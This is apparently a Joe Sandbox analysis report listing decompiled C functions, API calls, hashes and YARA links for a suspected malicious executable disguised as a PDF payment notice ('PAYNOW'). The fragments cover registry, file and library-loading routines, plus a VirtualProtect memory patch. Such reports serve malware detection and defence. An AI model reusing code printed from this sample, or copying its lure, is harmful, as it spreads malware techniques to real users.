Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1fe9c1000dbda7a9d39110f4f9bff940efbdf01e75595cec207c4de3ebb5c286
Instruction ID: 30547d814f52c0c9fa729df1a4499858ceafdecff29ed48dfb424bf33c152dfa
Opcode Fuzzy Hash: 1fe9c1000dbda7a9d39110f4f9bff940efbdf01e75595cec207c4de3ebb5c286
Instruction Fuzzy Hash: 3401D131B242109BE7194B389E05B2A36A8E710315F51823AB951F65F1D778CC129B4C

Uniqueness

Uniqueness Score: -1.00%

Function 00402421 Relevance: 3.0, APIs: 2, Instructions: 39
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402421(void* __ebx, void* __edx) {
				long _t6;
				void* _t13;
				long _t18;
				void* _t20;
				void* _t22;
				void* _t23;

				_t13 = __ebx;
				_t26 =  *(_t23 - 0x18) - __ebx;
				_t20 = __edx;
				if( *(_t23 - 0x18) != __ebx) {
					_t6 = E00402C8C(_t20, E00402BCE(0x22),  *(_t23 - 0x18) >> 1); // executed
					_t18 = _t6;
					goto L4;
				} else {
					_t22 = E00402C0E(_t26, "true");
					if(_t22 == __ebx) {
						L6:
						 *((intOrPtr*)(_t23 - 4)) = 1;
					} else {
						_t18 = RegDeleteValueA(_t22, E00402BCE(0x33));
						RegCloseKey(_t22);
						L4:
						if(_t18 != _t13) {
							goto L6;
						}
					}
				}
				 *0x4247c8 =  *0x4247c8 +  *((intOrPtr*)(_t23 - 4));
				return 0;
			}

0x00402421
0x00402421
0x00402424
0x00402426
0x00402462
0x00402467
0x00000000
0x00402428
0x0040242f
0x00402433
0x004027bf
0x004027bf
0x00402439
0x00402449
0x0040244b
0x00402469
0x0040246b
0x00000000
0x00402471
0x0040246b
0x00402433
0x00402a5d
0x00402a69

APIs

RegDeleteValueA.ADVAPI32(00000000,00000000,00000033), ref: 00402442
RegCloseKey.ADVAPI32(00000000), ref: 0040244B

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 94c20aa96a9d9cd91e4436501afaa3af5ac2b2a439186c4bc115aa52e5f0afc8
Instruction ID: e0febeaf572c958115365c956167c8050d7e7dc612328462eeda311075ff2656
Opcode Fuzzy Hash: 94c20aa96a9d9cd91e4436501afaa3af5ac2b2a439186c4bc115aa52e5f0afc8
Instruction Fuzzy Hash: 66F09C32600111DBD7107FA49B4D66E72A5DB40315F25453FF601B71C1D9F84D42466E

Uniqueness

Uniqueness Score: -1.00%

Function 00401EC5 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401EE3
EnableWindow.USER32(00000000,00000000), ref: 00401EEE

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 7cc538a2fd002a8b64a082f663cec0dbed53baeefaf584e701a85eb82363e53c
Instruction ID: 072171f2c40e2d9643691c2b2adc0adbcd400d7244dcd95e94f09ced2b5de2f2
Opcode Fuzzy Hash: 7cc538a2fd002a8b64a082f663cec0dbed53baeefaf584e701a85eb82363e53c
Instruction Fuzzy Hash: A3E09232B04200EFD714EFA5EA8856E7BB0EB80325B20413FF001F10C1CA7848418A59

Uniqueness

Uniqueness Score: -1.00%

Function 004064CA Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004064CA(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a240);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a240));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a244));
				}
				_t5 = E0040645C(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x004064d2
0x004064d5
0x004064dc
0x004064e4
0x004064f0
0x00000000
0x004064f7
0x004064e7
0x004064ee
0x00000000
0x004064ff
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403385,0000000B), ref: 004064DC
GetProcAddress.KERNEL32(00000000,?), ref: 004064F7

Part of subcall function 0040645C: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406473
Part of subcall function 0040645C: wsprintfA.USER32 ref: 004064AC
Part of subcall function 0040645C: LoadLibraryExA.KERNELBASE(?,00000000,?), ref: 004064C0

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 86a36fe79f27c55ffb4f68e9eb19a7d4fc21bb30cdd0e1b9c8c3d4c34093b0ac
Instruction ID: b1d6ada99e6651afe610309d4c68ede8e1123b1e5f34d771ce11ce336b0a7369
Opcode Fuzzy Hash: 86a36fe79f27c55ffb4f68e9eb19a7d4fc21bb30cdd0e1b9c8c3d4c34093b0ac
Instruction Fuzzy Hash: 1AE086326042116BD21067705E0893B72A89E84700302443EF946F2144DB39EC35A76D

Uniqueness

Uniqueness Score: -1.00%

Function 00405C5A Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00405C5A(CHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesA(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileA(_a4, _a8, "true", 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00405c5e
0x00405c6b
0x00405c80
0x00405c86

APIs

GetFileAttributesA.KERNELBASE(?,00402EE1,C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe,80000000,?), ref: 00405C5E
CreateFileA.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405C80

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 495096ec3bada98d59396949f3e5d8db788c55d9a14f95543a77051fd5c04aa8
Instruction ID: ee59d6d0e1d409ab4f08bbdf592326cff3c7222ef74ae4255e7f212f1854b30f
Opcode Fuzzy Hash: 495096ec3bada98d59396949f3e5d8db788c55d9a14f95543a77051fd5c04aa8
Instruction Fuzzy Hash: F5D09E31654201AFEF0D8F20DE16F2E7AA2EB84B00F11952CB782941E1DA715819AB19

Uniqueness

Uniqueness Score: -1.00%

Function 0040572B Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040572B(CHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryA(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x00405731
0x00405739
0x00000000
0x0040573f
0x00000000

APIs

CreateDirectoryA.KERNELBASE(?,00000000,00403305,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403524,?,?,?,0000000B), ref: 00405731
GetLastError.KERNEL32(?,?,?,0000000B), ref: 0040573F

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 16e4c654e9ce22ade12b11bcec0acffe1e0d8e5e5550dff24455bfee17a8caa2
Instruction ID: fe143fb7e2c59eb3603aebef79fe73c29c1fae3f16fa91b3bf8fea648d0a9a1d
Opcode Fuzzy Hash: 16e4c654e9ce22ade12b11bcec0acffe1e0d8e5e5550dff24455bfee17a8caa2
Instruction Fuzzy Hash: 61C04C30604505EFD7515B209E09B177A94AB50781F15443DA146E10A0DF388455ED2D

Uniqueness

Uniqueness Score: -1.00%

Function 0040266D Relevance: 1.6, APIs: 1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040266D(intOrPtr __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr _t27;
				intOrPtr _t33;
				void* _t38;
				void* _t41;

				_t33 = __edx;
				 *((intOrPtr*)(_t38 - 8)) = __ebx;
				_t27 = E00402BAC("true");
				_t41 = _t27 - 1;
				 *((intOrPtr*)(_t38 - 0x38)) = _t33;
				 *((intOrPtr*)(_t38 - 0xc)) = _t27;
				if(_t41 < 0) {
					L24:
					 *0x4247c8 =  *0x4247c8 +  *((intOrPtr*)(_t38 - 4));
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *((intOrPtr*)(__ebp - 0xc)) = 0x3ff;
					}
					if( *__esi == __bl) {
						L21:
						__esi =  *((intOrPtr*)(__ebp - 8));
						goto L22;
					} else {
						 *((char*)(__ebp + 0xb)) = __bl;
						 *(__ebp - 0x30) = E00406038(__ecx, __esi);
						if( *((intOrPtr*)(__ebp - 0xc)) <= __ebx) {
							goto L21;
						} else {
							__esi =  *((intOrPtr*)(__ebp - 8));
							while(1) {
								__eax = __ebp - 0xd;
								__eax = E00405CD2( *(__ebp - 0x30), __ebp - 0xd, "true"); // executed
								if(__eax == 0) {
									break;
								}
								if( *((intOrPtr*)(__ebp - 0x1c)) != __ebx) {
									 *(__ebp - 0xd) & 0x000000ff = E0040601F(__edi,  *(__ebp - 0xd) & 0x000000ff);
								} else {
									if( *((char*)(__ebp + 0xb)) == 0xd ||  *((char*)(__ebp + 0xb)) == 0xa) {
										__al =  *(__ebp - 0xd);
										if( *((intOrPtr*)(__ebp + 0xb)) == __al || __al != 0xd && __al != 0xa) {
											__eax = SetFilePointer( *(__ebp - 0x30), 0xffffffff, __ebx, "true");
										} else {
											 *((char*)(__esi + __edi)) = __al;
											__esi = __esi + 1;
										}
										break;
									} else {
										__al =  *(__ebp - 0xd);
										 *((char*)(__esi + __edi)) = __al;
										__esi = __esi + 1;
										 *((char*)(__ebp + 0xb)) = __al;
										if(__al == __bl) {
											break;
										} else {
											if(__esi <  *((intOrPtr*)(__ebp - 0xc))) {
												continue;
											} else {
												break;
											}
										}
									}
								}
								goto L25;
							}
							L22:
							 *((char*)(__esi + __edi)) = __bl;
							if(_t41 == 0) {
								 *((intOrPtr*)(_t38 - 4)) = 1;
							}
							goto L24;
						}
					}
				}
				L25:
				return 0;
			}

0x0040266d
0x0040266f
0x00402672
0x00402677
0x0040267b
0x0040267e
0x00402681
0x00402a5a
0x00402a5d
0x00402687
0x00402687
0x0040268e
0x00402690
0x00402690
0x00402695
0x0040271d
0x0040271d
0x00000000
0x0040269b
0x0040269c
0x004026a7
0x004026aa
0x00000000
0x004026ac
0x004026ac
0x004026af
0x004026af
0x004026b8
0x004026bf
0x00000000
0x00000000
0x004026c4
0x004026ed
0x004026c6
0x004026ca
0x004026f7
0x004026fd
0x00402715
0x00402707
0x00402707
0x0040270a
0x0040270a
0x00000000
0x004026d2
0x004026d2
0x004026d5
0x004026d8
0x004026db
0x004026de
0x00000000
0x004026e0
0x004026e3
0x00000000
0x004026e5
0x00000000
0x004026e5
0x004026e3
0x004026de
0x004026ca
0x00000000
0x004026c4
0x00402720
0x00402720
0x004015b0
0x004027bf
0x004027bf
0x00000000
0x004015b0
0x004026aa
0x00402695
0x00402a63
0x00402a69

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: 0d1cf399cd4369cbaec74ca43d065c59a59bdc1666e58aee50fa06cad55a5f4b
Instruction ID: 04c1ac555e61d2305c694d291b67e64b725caf4e6dd342b40f16af4fd6c0ed22
Opcode Fuzzy Hash: 0d1cf399cd4369cbaec74ca43d065c59a59bdc1666e58aee50fa06cad55a5f4b
Instruction Fuzzy Hash: 2E21B730D04299FADF328B9885886AEBBB49F01314F1440BBE491B73D1C2BD8A85DF19

Uniqueness

Uniqueness Score: -1.00%

Function 0040239C Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040239C(int __eax, CHAR* __ebx) {
				CHAR* _t11;
				void* _t13;
				CHAR* _t14;
				void* _t18;
				int _t22;

				_t11 = __ebx;
				_t5 = __eax;
				_t14 = 0;
				if(__eax != __ebx) {
					__eax = E00402BCE(__ebx);
				}
				if(_t13 != _t11) {
					_t14 = E00402BCE(0x11);
				}
				if( *((intOrPtr*)(_t18 - 0x18)) != _t11) {
					_t11 = E00402BCE(0x22);
				}
				_t5 = WritePrivateProfileStringA(0, _t14, _t11, E00402BCE(0xffffffcd)); // executed
				_t22 = _t5;
				if(_t22 == 0) {
					 *((intOrPtr*)(_t18 - 4)) = 1;
				}
				 *0x4247c8 =  *0x4247c8 +  *((intOrPtr*)(_t18 - 4));
				return 0;
			}

0x0040239c
0x0040239c
0x0040239e
0x004023a2
0x004023a5
0x004023ad
0x004023b1
0x004023ba
0x004023ba
0x004023bf
0x004023c8
0x004023c8
0x004023d5
0x004015ae
0x004015b0
0x004027bf
0x004027bf
0x00402a5d
0x00402a69

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 004023D5

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: cd8b371b6f55f1d33d0eddf2f35f8062392e7128ea2648a4caa2e71cbd90ff81
Instruction ID: a2264a5e3b04165b7de03e79847980bb6a424129cbe2f78830b73284cd35be0b
Opcode Fuzzy Hash: cd8b371b6f55f1d33d0eddf2f35f8062392e7128ea2648a4caa2e71cbd90ff81
Instruction Fuzzy Hash: F8E04831610114ABD7203EB14F8D97F31A9DB44304B34153FBA11761C6D9FC5C414279

Uniqueness

Uniqueness Score: -1.00%

Function 00405F75 Relevance: 1.5, APIs: 1, Instructions: 24
registryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00405F75(void* __eflags, intOrPtr _a4, char* _a8, int _a12, void** _a16) {
				void* _t7;
				long _t8;
				void* _t9;

				_t7 = E00405ECC(_a4,  &_a12);
				if(_t7 != 0) {
					_t8 = RegCreateKeyExA(_t7, _a8, 0, 0, 0, _a12, 0, _a16, 0); // executed
					return _t8;
				}
				_push("true");
				_pop(_t9);
				return _t9;
			}

0x00405f7f
0x00405f88
0x00405f9e
0x00000000
0x00405f9e
0x00405f8a
0x00405f8c
0x00000000

APIs

RegCreateKeyExA.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402C7F,00000000,?,?), ref: 00405F9E

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 33f0ef72135594440bd39ae1090de480165a05d63dfabbbeebd316e266d8c237
Instruction ID: 3407ec1d177fcaed837adfb77f9546191d1251c49c384e54d899e6c75a5c0df7
Opcode Fuzzy Hash: 33f0ef72135594440bd39ae1090de480165a05d63dfabbbeebd316e266d8c237
Instruction Fuzzy Hash: FEE0E6B211460ABEDF195F50DC0AD7B371DEB04304F10452EF916D5150E6B5ED305A75

Uniqueness

Uniqueness Score: -1.00%

Function 00405D01 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405D01(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405d05
0x00405d15
0x00405d1d
0x00000000
0x00405d24
0x00000000
0x00405d26

APIs

WriteFile.KERNELBASE(00000000,00000000,?,?,00000000,00000020,?,00403295,00000000,004138E0,00000020,004138E0,00000020,000000FF,?,00000000), ref: 00405D15

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: 9463c3abe6280d084d74f54212381f1c7099d27a46d02ce49af031ea16a2316f
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: 8BE0E63251065DABEF105F55AC04AEB775CEF15350F008437F955E3150D671E8619BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405CD2 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CD2(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405cd6
0x00405ce6
0x00405cee
0x00000000
0x00405cf5
0x00000000
0x00405cf7

APIs

ReadFile.KERNELBASE(00000000,00000000,?,?,00000000,000000FF,?,004032C7,00000000,00000000,00403124,000000FF,?,00000000,00000000,00000000), ref: 00405CE6

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: da94c88c01f32db49c143d41d40f73f2c481f3bafd85dc9fd8b917d4e0158b31
Instruction ID: 0f3a91911b7368544d0479776f9460b67210371169305fae4b72b28e49471388
Opcode Fuzzy Hash: da94c88c01f32db49c143d41d40f73f2c481f3bafd85dc9fd8b917d4e0158b31
Instruction Fuzzy Hash: 56E0EC3221835EEBEF109E559C04EEB7B6CEB05360F044437FD5AE2150D671E861ABA4

Uniqueness

Uniqueness Score: -1.00%

Function 6ECB2921 Relevance: 1.5, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {

				 *0x6ecb4038 = _a4;
				if(_a8 == 1) {
					VirtualProtect(0x6ecb404c, "true", 0x40, 0x6ecb403c); // executed
					 *0x6ecb404c = 0xc2;
					 *0x6ecb403c = 0;
					 *0x6ecb4044 = 0;
					 *0x6ecb4058 = 0;
					 *0x6ecb4048 = 0;
					 *0x6ecb4040 = 0;
					 *0x6ecb4050 = 0;
					 *0x6ecb404e = 0;
				}
				return 1;
			}

0x6ecb292a
0x6ecb292f
0x6ecb293f
0x6ecb2947
0x6ecb294e
0x6ecb2953
0x6ecb2958
0x6ecb295d
0x6ecb2962
0x6ecb2967
0x6ecb296c
0x6ecb296c
0x6ecb2974

APIs

VirtualProtect.KERNELBASE(6ECB404C,?,00000040,6ECB403C), ref: 6ECB293F

